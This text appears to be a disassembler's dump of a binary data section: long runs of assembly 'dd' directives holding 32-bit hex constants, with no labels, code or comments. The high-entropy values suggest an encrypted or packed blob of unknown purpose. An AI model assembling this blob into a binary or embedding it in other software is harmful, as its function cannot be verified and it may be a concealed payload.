		dd 1368F531h, 2DCB2DEh,	61CD2912h, 0DA696DB8h, 442B9641h
		dd 0BC726FA8h, 4879C178h, 92E09E5h, 46D5C78Ah, 878297EEh
		dd 0E522416Dh, 0E9527F52h, 7D2D68E8h, 42FE7950h, 72924F70h
		dd 0EEF56ACAh, 0DEE91CBBh, 3CD52505h, 825C4B2Dh, 0ED50704Ch
		dd 2D9CF895h, 3BDD76AFh, 0BBEAE1EDh, 0D0C767Bh,	2F6C2998h
		dd 13113265h, 0A159B66Ah, 98E43A17h, 0B8E72CE9h, 0C721C200h
		dd 7EA426D1h, 60304406h, 0B858FC5Ah, 0BA5F4F2Dh, 342F3D6Dh
		dd 4829D6B1h, 31572300h, 3C023578h, 0F870500Eh,	1F171398h
		dd 60C7FE14h, 0AF927FA4h, 0B5DA58D8h, 0D0A5CB45h, 0F8CCBF89h
		dd 4FCDCF6Bh, 3A782499h
		dd 0BE2B754Ah, 0CA2B0D29h, 9C2D4F2Ch, 0B56A2E65h, 13AA45BEh
		dd 7684FFCCh, 869F13AFh, 63091865h, 2273F64h, 5AC2AA8h
		dd 0E5CA4153h, 30688407h, 0ACAA2071h, 0E8A5A474h, 0F132FFACh
		dd 897774A5h, 0AC59DFEEh, 5A75EB89h, 45900FD3h,	83663106h
		dd 35005043h, 73CC2D53h, 723C740Dh, 49D9FE50h, 0BE5EF4C0h
		dd 3053124Eh, 46C156A2h, 0B2EC2B95h, 73B05B0h, 252C6E00h
		dd 17757C18h, 0BEE5EE9h, 365E5946h, 4F09ACFBh, 907FE662h
		dd 0C24BF969h, 0FEA8012h, 0C23227F8h, 0D50A1025h, 0E8309901h
		dd 74BE3A59h, 68F8FAC6h, 0F65A66B8h, 5B1980E3h,	4AD4A252h
		dd 0C833782h, 685A09E9h, 38354D62h, 0F9B231F4h,	985DBBF2h
		dd 95812587h, 46C49F12h, 5B84A125h, 5558847Ch, 8301AF54h
		dd 56B312C2h, 5379422Fh, 0EADAF5E9h, 841E398h, 50023722h
		dd 0E288DBB4h, 0AE2F19E0h, 0C5986082h, 0C124189Ah, 88E1A68h
		dd 0C16E9B3h, 408F8FF1h, 0EC2451C1h, 7827E2C5h,	2C44824Dh
		dd 2D76565Dh, 28247E9h,	30F72568h, 59AA5Dh, 0EF812CD8h
		dd 6F1772F4h, 0C40E4F60h, 3061846Ch, 0E904DFF7h, 0A19EC8BAh
		dd 53F285BBh, 0EFC5745Ch, 0A54BE1BAh, 0AB34576Eh, 1E5A0A90h
		dd 53CB90ECh, 9AAA465Dh, 44EB0B28h, 3D7C2FF2h, 2754E980h
		dd 48017F92h, 0A22FD7C8h, 3BB03F0Bh, 66FEEB88h,	0B353510Fh
		dd 16B01320h, 0FBE253F8h, 954FA14Ch, 2A55F272h,	6FBDAD33h
		dd 1268930Dh, 0B884344Fh, 680DDA7Eh, 961CFD68h,	3881BF59h
		dd 0E5C13D3Bh, 7B36F805h, 0F7961CC3h, 35929FD0h, 792AFE0Bh
		dd 4E5564DBh, 7B93D8BBh, 6866ED80h, 0EC415EFBh,	12FE92EFh
		dd 0F6ACF046h, 7DE9500Ch, 0B1583665h, 318E8000h, 862D7A9Ah
		dd 0DC25F05h, 0CDFAD8F7h, 0D0F0AD8Eh, 3E6041A1h, 0A9A7E182h
		dd 6C095FBEh, 0EFE35177h, 999C55ACh, 5D792677h,	832F59B6h
		dd 4F1B281Ah, 43B6A0B2h, 0B72B3B41h, 0A9A05DCh,	9BC01CC7h
		dd 4B086BBBh, 0E959025Eh, 435E45DFh, 890EF3EBh,	4C5D6417h
		dd 8053B7D7h, 3FCD5B27h, 6605E04Fh, 78515A80h, 1EB22C54h
		dd 767D5251h, 0ACE72009h, 41FE2ED1h, 129C5C2Ch,	49B47E27h
		dd 0F99825D2h, 94B5205h, 958259CAh, 62BED901h, 5507B5D5h
		dd 0A10A68F3h, 0CE20387Ah, 58880EE1h, 0F1C07C3Ch, 41C86472h
		dd 7D0E4960h, 9779F034h, 0CEF7B289h, 777C26BCh,	0B60CA10h
		dd 6BF45735h, 7FB80569h, 10BA5295h, 0BA3DD328h,	20DB5D2Dh
		dd 5B3042h, 4001E883h, 94072DE2h, 48550937h, 0ACCE8A60h
		dd 30B7B8ADh, 2960C2FAh, 0A6C058C5h, 425B2D5Dh,	0F13E7B18h
		dd 444BF540h, 0E155831h, 228B17Bh, 515B2871h, 777BC2FFh
		dd 226ED3C8h, 0CF67483Ch, 0E03B6E4Ah, 0CD31DE9Dh, 292B5BD8h
		dd 105A79B2h, 5E1DF092h, 0CA23C955h, 3D16D377h,	57DE6092h
		dd 580FFEC9h, 0F39E4606h, 0CFCB50CDh, 3C001C3h,	4687269h
		dd 0C98C7C7Fh, 7875621Eh, 4EE1F047h, 0A1CDBC70h, 0EF041DD2h
		dd 0BE173B91h, 679EC104h, 0D9FB1448h, 2AF31918h, 0A1A83785h
		dd 91710F93h, 4976FB62h, 34410D60h, 3115F917h, 9245C3EAh
		dd 0E5C4ECD3h, 94E8CF6Bh, 0C3BF3496h, 0D218EDE0h, 4E7EAB3Ch
		dd 5AACF96Dh, 405C5098h, 132F68CFh, 0A500981Ah,	721C9703h
		dd 82877E9Fh, 2EB622E7h, 106C9761h, 0E947CFC2h,	90CA01C8h
		dd 0AB088200h, 49E57F9Eh, 8696E91Eh, 0B379BE4h,	48306968h
		dd 8BFAE863h, 3EB917C8h, 1083818h, 2E52D7F0h, 280022DEh
		dd 76F0F3Fh, 89A4796Ch,	67DECB68h, 0F3D0526Ah, 0B02AFF21h
		dd 13D09CF7h, 6AB7AE5Bh, 9C25F7Fh, 327D8F10h, 5915D600h
		dd 0FE851702h, 54CDCAC2h, 455F5AE5h, 404C92EAh,	1909BBE2h
		dd 0BD0740B4h, 0BF4BE6F9h, 829412F5h, 0A9BCE8AAh, 0D4938E61h
		dd 465A348h, 13C44DD2h,	7B1DBA80h, 3D5B763Ch, 0F409AECEh
		dd 18804608h, 5240C397h, 55F2292Fh, 0DA973196h,	4B48C3E1h
		dd 0EEFD931Fh, 17082050h, 0EBF106E9h, 9FEBA23Ah, 0DAA0AC92h
		dd 8DE4C20h, 0F627B500h, 0C0CDFED5h, 603E530h, 0BF58002h
		dd 2DFF68F3h, 6B3BB18h,	0C439EBFAh, 1303BBC0h, 4D0832E3h
		dd 685E02C7h, 0ABA23390h, 400B4B9Ah, 0D7A558B1h, 6D25BA25h
		dd 0C9FD5C95h, 46EBC99Fh, 85B07544h, 8B77D073h,	0F23CF4BDh
		dd 0DB2FF0FCh, 8C600990h, 0E9765955h, 2429ACBAh, 5BB19155h
		dd 4B1CF13Bh, 0C8FF4B99h, 336171D7h, 0B2BBB766h, 4CFA30C8h
		dd 0AA16445Bh, 61A5D052h, 166FAE47h, 76D4CECDh,	4D143D0h
		dd 4A4601EFh, 33096856h, 12975207h, 0DD2D49F4h,	3014B88Ch
		dd 0AED7753h, 0F2295F08h, 5D25E4A6h, 98769A09h,	0CDFB4465h
		dd 826F2030h, 1935816h,	3CEA96ABh, 0B1AF495h, 1AF66C81h
		dd 98110166h, 68C540B2h, 1654A72Dh, 2BE92755h, 75495DD4h
		dd 0B65DFA1Ch, 43BD009Fh, 8150F563h, 61C609E5h,	26804541h
		dd 226A2E4Ch, 0B00F4BFh, 0D7A271AFh, 0A880F101h, 1BE01CAAh
		dd 6D9E249Dh, 9A4EA5ACh, 0E9520B44h, 0B701D89Bh, 81009A7Bh
		dd 0E66756E3h, 90CC06Eh, 0F7523E69h, 0B943DB39h, 0D99BD0D3h
		dd 0D86C183Eh, 7C550E00h, 0A4BAD326h, 6C141F3h,	0FF8907E9h
		dd 0E839EA3Bh, 18D8BA38h, 8424160Bh, 5727E475h,	0C899789h
		dd 6861FDF4h, 0E67A413Bh, 40607FD2h, 6118E745h,	0E637621h
		dd 0D01A09F7h, 0B85267Eh, 6B767D70h, 0B925047h,	6411686Ah
		dd 1C930731h, 0D501EF83h, 0EBFCE4B8h, 0DD20F00Bh, 15625F6Ch
		dd 87E0809h, 28FA0216h,	0FEB55C1Eh, 31E663A3h, 9D24E28h
		dd 0C157DD44h, 854FE844h, 91C46A5Fh, 0E93ED8EBh, 21AA0FA3h
		dd 5B1371DCh, 0D3E5A2AAh, 3E295900h, 50C17864h,	5D8C6E0h
		dd 21F14C05h, 37EB82C3h, 6972B900h, 0BF391AEFh,	6BFC0B76h
		dd 78ED02A7h, 0F851FDA6h, 0E7C9519Eh, 0AF09D40Ch, 70E80061h
		dd 0CCDB635h, 206CECF0h, 57965E25h, 2D599820h, 2989FD01h
		dd 42A17DFh, 0B8276EE9h, 7767DE9Fh, 4777D062h, 0CE905ECh
		dd 0DC6790CBh, 565EC86Ch, 0C8BCD5C4h, 0F63ED617h, 0B691368h
		dd 2C8115FDh, 2E5CEC01h, 1D129CBDh, 0ED22E457h,	5F26EE92h
		dd 77A7A856h, 0F55BBA87h, 5E74A83Ah, 95DFE9Ch, 29643C58h
		dd 8AB67075h, 52F4610Ah, 0E5BB4F7Eh, 4A918E56h,	77FA6562h
		dd 0E97C1D94h, 2389835Eh, 0C97E11E0h, 0AEDCF531h, 10D16003h
		dd 0C0FF8C5Eh, 2D315191h, 85217E3Fh, 72A9E958h,	2C1668F9h
		dd 0CBAEF365h, 5E5DA27Ch, 57BDAF33h, 51E31C91h,	5C887CAFh
		dd 74B12BDh, 64956BAAh,	1013FB1Ah, 9EBF6A17h, 0C4D84B9Dh
		dd 0F71C5FC3h, 9DCD1066h, 0E8017D51h, 0B8024062h, 297E9064h
		dd 0B1D585B0h, 995625D9h, 0EF3A89F9h, 39E95745h, 9BF28E0h
		dd 74140FEBh, 1FC7275h,	79777271h, 734F0B68h, 73915F73h
		dd 52201690h, 381DD676h, 3000B866h, 5DF5DBBh, 9DB1131h
		dd 84A4E960h, 986B6E77h, 613F2F38h, 0E0BF070h, 843C4643h
		dd 0D653AD28h, 56BF2C14h, 0E9574944h, 224D711h,	3843BD5Dh
		dd 6D2BCBF8h, 12A5324h,	7942C002h, 6A1831Ch, 2082040h
		dd 2D05E878h, 8242A9E4h, 0D32982BAh, 5CB78CF8h,	0B7E9D835h
		dd 703744B6h, 0E107DAC0h, 9ED17620h, 0A14E3F86h, 2DEB2FF1h
		dd 0EAD87F2Fh, 81D1BE20h, 42D8DEF3h, 0F92DECABh, 1C6BA80h
		dd 0F7403A21h, 6BEAD1DAh, 0CD498C0h, 0E96F0B1Ah, 5F3705Eh
		dd 831D169h, 476A544Ah,	1CC7133Dh, 1D1B092h, 43FED3F6h
		dd 0E7001787h, 15CBE281h
		dd 25623DCh, 6ADB6857h,	517D074Eh, 800B6C94h, 87E5F339h
		dd 0DE28B8EEh, 0FE62ABD2h, 0DCC550B1h, 0A6205C00h, 1F702C2Dh
		dd 0E258951Ah, 82FD0782h, 0BF249ABh, 44CDE97Dh,	957B7928h
		dd 0E9472155h, 2D2E291Fh, 0E147F4F8h, 0F0F7D1C0h, 0A04A340Fh
		dd 250C87E0h, 2662047Ch, 4612C1F7h, 3F7B03Bh, 3D427D09h
		dd 0C9771C21h, 22FD6198h, 0EC589D68h, 4E44099Ah, 607E20FBh
		dd 66AD4A41h, 4BFF8530h, 7D28BB87h, 0D82E443Ah,	0BA0D5B00h
		dd 0D113025Ch, 18D0EFE0h, 8E6C673h, 2169D765h, 63737F33h
		dd 7BF7E9C1h, 76807F34h, 0F13027F6h, 438FA74h, 9374E9C8h
		dd 5AF8E2BEh, 517C49AAh, 5903B77Bh, 84218F68h, 0E4AAACBBh
		dd 6E5799ABh, 126DB61h,	52BCEF04h, 45BFA13h, 0CA5237C9h
		dd 0FB085B13h, 407427B5h, 0EBD70049h, 0B77560BFh, 8A804842h
		dd 122B24FDh, 4B8EF29Fh, 81D6093Fh, 0EAB2EAD9h,	0F1454A57h
		dd 0F26885AFh, 889CEA31h, 0F5E64975h, 76086260h, 58986C37h
		dd 4B1E810Bh, 8B085429h, 0CE7D2F9Ah, 5E5425E6h,	0C742C673h
		dd 0B73BFFB2h, 632402D9h, 5A75819h, 1DA6071Eh, 911FD2ACh
		dd 0F7528664h, 0DD0A10D9h, 0C07B9B4Ch, 682F093Eh, 0B3715734h
		dd 1CB8F2CBh, 585C03B9h, 4435360Eh, 0B445D826h,	4C271A0Fh
		dd 0AE65A61h, 1F09E24h,	0F9F089Bh, 5713BE01h, 0EE2E6E26h
		dd 0DC3D7222h, 0E35C1282h, 0E6AB9247h, 0D2C03AC8h, 0A40293C2h
		dd 7DA92C9Bh, 0BA52A4C0h, 585708A2h, 880F20F4h,	0B5AA02B7h
		dd 0ACC576Dh, 4632602Fh, 0A4C0749Dh, 0D4280BB2h, 13FD42A1h
		dd 6B33A903h, 0DD90FFC7h, 0BC4AF3Eh, 18B86856h,	0E955CE98h
		dd 0BD8C6BE7h, 918F4AB2h, 70528E07h, 4B59730Ah,	254104AEh
		dd 3DA13607h, 0AFD2103Ah, 6748CD00h, 0EDC17631h, 2060560h
		dd 96D252E9h, 40094B2Ah, 50558840h, 25B3C5B7h, 0D85FEC4Ch
		dd 0D701B709h, 0E91CA99Ch, 24381114h, 877AD351h, 120E3FB1h
		dd 523D78AAh, 7CB8E92Eh, 0E575D8Dh, 0CD4CF5E2h,	827A320Fh
		dd 7085CE37h, 1300AC4Bh, 0D2B8443Eh, 2A8AFBA4h,	0B62ECD05h
		dd 0CA3A8026h, 7601134Dh, 3865BE56h, 0DA446AA1h, 6AE4E1ABh
		dd 7B0FBD04h, 2F4F912h,	26C8742Eh, 0B409805Ah, 0F345CD4Fh
		dd 0C29A4DFCh, 0FEF5802Eh, 7598A0F8h, 2EC2C5Ah,	68525CE0h
		dd 0C6581527h, 29CB4EF6h, 0F4D9ED7Ch, 0FEB959CEh, 8774C26Fh
		dd 0F064D501h, 5A55D9Fh, 89A1E853h, 0D261752Dh,	0DCAC2E05h
		dd 0B4E5BC5Bh, 1EEFA2BAh, 0B3E8097Ch, 60070551h, 565F68F5h
		dd 0D1A79A3h, 0C557102Bh, 4B3A8835h, 58F58809h,	7A39F468h
		dd 646FF7D3h, 3B65EBB8h, 0FF56C90Bh, 3344166Ch,	170B627Bh
		dd 45D59CAh, 25BCE5C2h,	0D9DAF4Ah, 0B39667F8h, 2AB2008Ah
		dd 0D028FE2Ch, 53F90474h, 39CF025Bh, 0B081053h,	0E980AA99h
		dd 66088BA2h, 1D340C53h, 0F58917E9h, 2424D1Eh, 0E731946Dh
		dd 0D6F70915h, 68BB4A07h, 659F0208h, 0E95085DBh, 0BD39902Bh
		dd 0E148438Fh, 0D8ED02F7h, 0D547281Fh, 467523E2h, 8B34C545h
		dd 0A4E5FF71h, 8446FD6Ah, 1712E576h, 4B41EC07h,	0B1F1D1B8h
		dd 2358218Dh, 7975109Dh, 49F96665h, 0B77A89D4h,	0BC24280Dh
		dd 0A620F83Bh, 9D65184Ah, 6BA80C25h, 0B4CB320h,	0F08FB6A2h
		dd 77BC9F80h, 0E914791Bh, 12614836h, 9DFAB4ABh,	0BC894299h
		dd 5EE4E8D1h, 0B12FF2AEh, 742505E9h, 8F40E80Ah,	2481943Eh
		dd 0FE620EDBh, 30700A78h, 4AACD54Eh, 4027C4h, 0F863EA81h
		dd 89F31FD9h, 0E784FCD7h, 0AB3822C2h, 0E92BD0A0h, 5C042C89h
		dd 19F9E602h, 79AF7F29h, 0B87DD444h, 0DF889B19h, 0AE4C5509h
		dd 0A2B05000h, 80AAB753h, 9F473C7h, 0FE8811F7h,	304B2A96h
		dd 6FC998EAh, 3A289B41h, 26C6903h, 0C60E5912h, 0E29F10BEh
		dd 4A35D2E9h, 19FC7520h, 0A3208EA0h, 2A20BF07h,	0A7C03B5Bh
		dd 12425095h, 0FF08EEC1h, 0F0832F82h, 0BF7DACh,	0BA031510h
		dd 54E20673h, 94FA0125h, 6855170Ch, 0D69BA8D2h,	8F5DA20Fh
		dd 0F381607Ch, 127E0B26h, 839DE931h, 0D8B8ADECh, 2D58D768h
		dd 7F09D3C6h, 7F3E0495h, 0B16BADA1h, 15F13B08h,	7A3FB1FFh
		dd 0FB88566Fh, 28AE6D22h, 4751038Eh, 0FFDA0A88h, 0D1276C54h
		dd 0E5C99318h, 91E16BABh, 91015F21h, 0BC7E9E3Ah, 9CBED3F3h
		dd 484B6457h, 5C80E0F6h, 68C8BF0Fh, 5B344D26h, 12AAA093h
		dd 0E569E906h, 8E946BECh, 3A3CE9B1h, 0F721A209h, 55973FECh
		dd 52559D29h, 0C3E91702h, 13DBED64h, 50CE11B8h,	90C8334h
		dd 0B1FEE892h, 2269A9C2h, 0F00B3E1Bh, 3E331FEh,	1702D19h
		dd 0BB384058h, 69CEA17Dh, 0F316FA8h, 22A5026Fh,	4727BF66h
		dd 0BD5DE800h, 213670BBh, 0FBC54B31h, 6817438Bh, 38BE917Ch
		dd 8009D176h, 240B330Ch, 4A88E9CAh, 458CBE36h, 0EAFE5E3Dh
		dd 3A5D637h, 0AB5B51B8h, 0FADEB41Ch, 5C5EDDFBh,	475E107Ch
		dd 0F5816602h, 6861AD07h, 69AF2A31h, 0F5C74245h, 27CFC6FFh
		dd 8053274Dh, 0A9E0F725h, 6B70F4CBh, 0F84B7827h, 0C07B0A16h
		dd 80F4537Fh, 28BD0B06h, 6A12D58h, 253BD85Bh, 1358224Ch
		dd 0B5F837FDh, 0FE51BCC4h, 2796AD31h, 0BF69247Ah, 0FD05CC61h
		dd 49B3BD00h, 0D467402Dh, 0D9E58109h, 20170B61h, 377E4F0Bh
		dd 929012Dh, 0D80DF28h,	11725798h, 6FE45995h, 1E6E68A7h
		dd 0AB5F0A64h, 71E99E80h, 4B70DD6Fh, 3D6826C4h,	0F5957836h
		dd 9D553B2h, 29845EB4h,	9B2A080h, 0CE0E954h, 80C71651h
		dd 83EFD0F4h, 60AEC1B1h, 6916E85Ah, 48B8DDEAh, 0B349498Ah
		dd 6BBF5159h, 64B8B1D5h, 8C925312h, 0FE5E85D0h,	5D7BD6A7h
		dd 8009E94Ch, 77CEEC3h,	5849EB1Dh, 0AFA25F5Ah, 117D08B7h
		dd 0D301CC07h, 20C024Ch, 0A25E23E7h, 441CBA5h, 9B43A092h
		dd 1A16BA5Dh, 29019DADh, 0E94B6656h, 0BB2934F4h, 96CB980Fh
		dd 9DDACF0Dh, 955D4D92h, 5CD0BE81h, 0F83A8997h,	0E5D1C4BDh
		dd 0B445C2h, 1C5F2159h,	0D99ABDF2h, 5B6D683Dh, 809012E2h
		dd 59C5CB5Fh, 2ED04554h, 8F856E1h, 2590E1h, 394556F2h
		dd 6F5FE92Eh, 56F6C94h,	83EB0133h, 0D4E5B9Eh, 81E094BAh
		dd 7C7AABC2h, 9057DE18h, 5C05EEA0h, 782DC51Fh, 680469C5h
		dd 0CEF33397h, 58B8758h, 0F6EFAADFh, 8BBC6127h,	0D3F83001h
		dd 0F55B782Dh, 94D7BBEh, 54E90BFCh, 71987651h, 85FC2E5Ch
		dd 7FF01EC9h, 29B0515Ah, 0A557005Eh, 0FA4A052Dh, 609D17BFh
		dd 0BF14E9C9h, 0E8F5AC0Bh, 124EF101h, 0FB4F30DBh, 3723C24Eh
		dd 0FFBD217h, 0EA36094Eh, 850988Ah, 0EEA5BF1Dh,	0FA88D491h
		dd 0E9FABF88h, 7BB6800h, 204D669Dh, 0C90C043h, 372B971Eh
		dd 2287A57Dh, 62FACD31h, 55E0F549h, 4FFAE5B6h, 506FC195h
		dd 912D9734h, 10050069h, 8980C1E8h, 5FE4C262h, 0BF5E05B9h
		dd 123207E0h, 656C5B75h, 1743E955h, 20BADF5Ah, 0FD5CDB14h
		dd 2A203D7Ch, 59542518h, 9FA4CDDh, 40E150CDh, 0B77E2D7h
		dd 910F308h, 151A4FE4h,	9E345D7h, 0FD564C01h, 4D5DE970h
		dd 0E11301B6h, 233F0BDCh, 0DB6C02DDh, 0F1B800D0h, 1648B71Dh
		dd 1A150C8Bh, 5C29ED9h,	3BFDED0Bh, 350E809h, 50BD4FCFh
		dd 8A63F835h, 1245EA7Dh, 0B8F23E0Ch, 88DA1B9h, 8940DF72h
		dd 53440561h, 83EA2956h, 7E7762F8h, 4530EB77h, 0FEB50E6Bh
		dd 0BBED3880h, 0FB09A55Bh, 3A7E3F87h, 35C7688Bh, 0D5B7D9B0h
		dd 8E90B071h, 2F3C4695h, 15FE010Ch, 0B0AF2213h,	0EE2FE96Ch
		dd 0A6FFD347h, 0B1F0B0F1h
		dd 4E3B9973h, 0E9530401h, 30EB3FD9h, 7F7E5ACh, 3F38D12Ch
		dd 55254E03h, 4F417B1Fh, 2501BAE0h, 5AB30E27h, 0BF3B0F30h
		dd 7D9EF242h, 14C3C20h,	225485Ah, 0DB429A4Eh, 634479EAh
		dd 0DA8EC307h, 70B44015h, 0F45F2692h, 42DA528Fh, 15050A21h
		dd 0EC213C28h, 2ED68F8Bh, 0B198C66Eh, 205F7C0Ch, 7FA0A8AAh
		dd 1C9D5BCCh, 9C7598AAh, 9BD0071h, 3156B47Eh, 0C7A3EF50h
		dd 0B5A7021Dh, 5D5E0BEFh, 45BFD31Ch, 0AF5C175Bh, 0B331F029h
		dd 0DD4E8C36h, 25468396h, 4E27A95Fh, 2EB950Ch, 0B2673691h
		dd 6664E8DCh, 908566B8h, 0F58AAF35h, 51D8C84Bh,	2022B900h
		dd 48E9785Bh, 8F74BD42h, 1E8E64CFh, 612559A4h, 80B85166h
		dd 226CA47Bh, 0CEE07725h, 0C37FEA81h, 42A0BCBh,	67F0878Fh
		dd 38423C29h, 0BED2B012h, 68589930h, 7AB097DDh,	0B6244AD1h
		dd 750B4F6Bh, 0E346D75Ch, 30590F20h, 0CE06EE80h, 0E661D09Bh
		dd 0F0301810h, 68142C7Eh, 0AA939676h, 0A020E909h, 0BD4BDBAh
		dd 0CA314EE3h, 7924182h, 0E9CF930Fh, 21EA92BCh,	3ABF6E5Dh
		dd 0EE145BE1h, 5558A217h, 0F4020719h, 8FBC3990h, 0DC4192C4h
		dd 6BC68015h, 0C2BACEC1h, 1C8894FCh, 0D8F01336h, 0B52651BEh
		dd 0A60E1E98h, 680561C0h, 6C504E7Bh, 48070B4h, 81E9C9C4h
		dd 0ADBDB409h, 7D4B467Fh, 0EC3704ABh, 0D231BF18h, 7ED1CCB5h
		dd 5EC59E2Bh, 4D682F61h, 0AAD3D068h, 0E90BB6B6h, 5A5167C6h
		dd 1CD48325h, 0EE97031Ah, 0D2970B7h, 79FEC6B0h,	7655F43Ch
		dd 81CD0h, 40B4BB53h, 17C13A28h, 0E84305EBh, 4DF30794h
		dd 0E94107CDh, 456FDEA1h, 0EE17F481h, 0F80B01C2h, 0F389396Dh
		dd 1373DD24h, 0C018A401h, 21574E13h, 0E45399F0h, 0E949135Bh
		dd 6A70B1A3h, 0FA44DA22h, 0CCED0769h, 0B3D7E0B4h, 1609435Ch
		dd 0A107E5C1h, 5F95397h, 0E23C2882h, 8ED79482h,	0AD8A4437h
		dd 0A5A1E8AAh, 49634A2h, 0B44E111h, 6C7E0E31h, 915546CAh
		dd 6D202D1h, 60E079B6h,	7254FF8h, 94E0DD46h, 7A4B3AE9h
		dd 0B92A6F6h, 0F7F1450Dh, 755788E2h, 490302A3h,	20AA3317h
		dd 10235051h, 0AD325593h, 28F15D16h, 0E5560BB8h, 5F99DD6Ch
		dd 907E5955h, 6D48DA58h, 8435BC5Bh, 0DDBAB787h,	42D2AB2h
		dd 0F55A3E30h, 0BBCDC2Eh, 98AAE64Ah, 5B78584Ch,	6801C005h
		dd 0B8346EC9h, 0D26CAD0Bh, 91C70758h, 0C425123Ah, 5A1BB43Dh
		dd 0F65DE1A2h, 365362F6h, 80E69CF7h, 4D0A68B9h,	0E8836C76h
		dd 0FAB4551Dh, 0BF4A63BDh, 0B0819D94h, 0AF042CE4h, 0BAD6DAE6h
		dd 79E90F38h, 9BD1BDCAh, 48D7969h, 90ED19E9h, 0C0BAB193h
		dd 0F62E02F2h, 0F33E9CD1h, 42E0F12Eh, 0CB28AA05h, 59504CC7h
		dd 0A84DC468h, 88E135D8h, 0C51421EAh, 0F2CC97h,	2DD8295Ah
		dd 75703D6Fh, 2F7E0273h, 0DAE97C1Ah, 0ABB8BA48h, 3B5B0A1Fh
		dd 561754C7h, 27720D50h, 0E92A0958h, 4B663938h,	5E35361Ch
		dd 74000FE6h, 5709DB25h, 6D1F1EBFh, 1D668B3h, 773E191Ah
		dd 52BA9E9h, 91084EDh, 0EF01120Eh, 8EB99317h, 6F3CB44Eh
		dd 76057A40h, 0EAD477AFh, 38690942h, 0C8DB5F11h, 0FED34125h
		dd 32B14D03h, 0C20CA6C9h, 0AD4C542Fh, 811737DEh, 93612A02h
		dd 759D6272h, 8A275DD2h, 0F83EC65Dh, 0B04B8B3Ah, 0DBC731EEh
		dd 318024A6h, 2A667C13h, 380A8900h, 27E93952h, 8D689284h
		dd 5F7EF4CEh, 0E6041A76h, 4C1125A4h, 0ECC5A4EBh, 76226702h
		dd 0EA5EF589h, 0FD827561h, 6F4A3C1Bh, 0B883825Dh, 9DBA091Eh
		dd 64F93743h, 0AC12F5Dh, 4ECD4135h, 0E081123Bh,	33006A8Ah
		dd 7BBD5514h, 1CCB5F13h, 2D2DD3E9h, 0EA90BB7Fh,	9F51FE08h
		dd 7530C2C3h, 4475520Eh, 425A3EDh, 0D065CF76h, 2D309028h
		dd 0EF042E7Ah, 4110681Dh, 0D65BE098h, 0FF9BC153h, 0D7833E77h
		dd 8FEBAC7Ch, 55FD5F3Dh, 2697CE19h, 0D9A17E47h,	8902FA41h
		dd 0B13F67Eh, 0A073A7E9h, 713A1018h, 0B9C3BD61h, 50040625h
		dd 0CF1820A4h, 0D0C0FE03h, 0A8D8F6E8h, 482C05E0h, 0C824530Fh
		dd 3C3E401Dh, 89417191h, 0E90CD778h, 0AD22438Fh, 0F2408F98h
		dd 0B0BDA052h, 324B2F69h, 96391DEBh, 0B0D598h, 66C1E907h
		dd 82D422B7h, 922C0378h, 0F6503FEAh, 9EC33026h,	8CEAEC13h
		dd 6D543706h, 8C6810D2h, 0D902EB7Bh, 80505763h,	641A0DCBh
		dd 50ADF10Eh, 0A3C2A220h, 313ED269h, 5A613A50h,	4878C4Fh
		dd 0BA001D8Bh, 640D040Ah, 7C5AA4F4h, 34B2CA2h, 1D1A38C4h
		dd 4839F2CFh, 248594DFh, 69A28701h, 169B97D5h, 5989C2BCh
		dd 2A99A75h, 85C96FCh, 0B15C35C0h, 0D0297C33h, 5F6E3884h
		dd 0E2B7EFB8h, 97DC0D05h, 9C86FB60h, 4D2D04DEh,	0FF3B9514h
		dd 70694C4h, 65F5F5E9h,	0D5218055h, 0E80ABBDDh,	6BA4DB13h
		dd 854EF427h, 0E2F83159h, 70E192EBh, 20DFCE10h,	0E96E0B91h
		dd 0C9732857h, 0E9057921h, 0D2AC6F0Ah, 0E3AE0B9Eh, 5CB5107Dh
		dd 35428226h, 20E04B5Fh, 61B4B596h, 0A036582Fh,	4C64E0FAh
		dd 4713DB77h, 2209C963h, 89500B9Ah, 243256E8h, 9EFE2D38h
		dd 5159E2A6h, 993DEB2Bh, 0B3E93584h, 1030EFB1h,	48B750B6h
		dd 0E349610Dh, 69F6800Bh, 1D95907h, 0D4B450F3h,	585BE328h
		dd 0EDBE1734h, 0DBE83B26h, 3A1A06E2h, 6DDD481Ch, 395E25EFh
		dd 5600576Ah, 559F725h,	192A1D39h, 5BAE4270h, 94413E9Eh
		dd 752BD81Eh, 78FCE926h, 5EBFEB45h, 0C3B0FEE2h,	62D4BB72h
		dd 582CD92Fh, 4AEF2FF6h, 6885FFF9h, 8FAF14C2h, 0C1CB5AEFh
		dd 0BC165749h, 0DD0DB836h, 48A21FD3h, 645B5C2Fh, 0D9080BA9h
		dd 0DD29071Dh, 0F2F8395Bh, 0C12776FAh, 0B53B4B4Dh, 30A741BFh
		dd 2A40C305h, 0A5843FE9h, 1328BB3Dh, 0F74B6021h, 3C991A11h
		dd 9A8799Fh, 7DDE0F47h,	0A1BABDE5h, 0A5B22BF9h,	0E3193148h
		dd 645A2C25h, 0A3B52D66h, 9998F1B3h, 817EC98Ch,	2F8BC731h
		dd 5E3E5C8Ah, 0A3ACD199h, 0EFD5F60Ch, 0AA7E2D59h, 0EE9E5072h
		dd 3D0A60Fh, 0E7C032B7h, 9B988002h, 0A04B551h, 8CE9EF30h
		dd 0B2A756ECh, 0A47DCAC3h, 9C0F2150h, 161AF166h, 3E6C012h
		dd 285D681Dh, 0F0305882h, 0F0E7E25Ah, 6E575321h, 27515F25h
		dd 2FE91B4Ch, 9CDDD61Ch, 500CC260h, 0D9DD0D68h,	56998227h
		dd 65C5F21h, 77AB1639h,	13F81E81h, 9EB25503h, 5804DEF8h
		dd 1E616857h, 3C20519Bh, 0B97542A2h, 0B2E866A5h, 0D660B779h
		dd 98979A6Eh, 81F277A6h, 18BD2E5Bh, 0F87DBF93h,	680B2039h
		dd 247113C7h, 0CC643B97h, 40F0CDBEh, 7E1A2000h,	1F0C0B60h
		dd 9D333676h, 34087028h, 0D7141E0Ch, 68FC824Ch,	0F91E4BD5h
		dd 0EA2B3A06h, 0CA01A245h, 0A02A6C99h, 213B26A0h, 43F21903h
		dd 0B430252Eh, 0CD2B13E5h, 612EF18h, 552EDEBCh,	9C2F3B6Eh
		dd 0DC1E4959h, 0E804FEA7h, 2F7225D7h, 69C35B4Dh, 5EF770A0h
		dd 0F4C4FC5Fh, 68B09BB8h, 2FB1545Fh, 3E82DDAFh,	0C0B28EBh
		dd 409D96F3h, 0D2BFB91Fh, 60BB77Fh, 0A1F7AD0Bh,	0C90E98Fh
		dd 0B1614636h, 6A06EEC0h, 0D248D4A8h, 17437F38h, 76A829CAh
		dd 75F15089h, 77652DC0h, 68070ABCh, 93C13691h, 4A14E885h
